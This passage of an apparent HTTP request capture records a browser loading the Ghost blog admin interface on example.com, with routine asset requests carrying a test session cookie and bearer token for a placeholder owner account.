Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-return-DmblXePh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/purify.es-By5UdXoD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-unsaved-changes-guard-BIfTQjJz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-router-history-entry-DYG_hZv1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chip-picker-aAXRsU0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sortable.esm-H4JOBEIz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/virtual-list-1NcFkHUd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-B0j4y8A_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/screen-entrance-provider-CPNWSe2Y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/assertString-xweUBf3M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tag-picker-CMxUiZw6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/email-previews-6rA3kQE8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/emails-BZ3mvix4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index.es-DkE4XGsf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
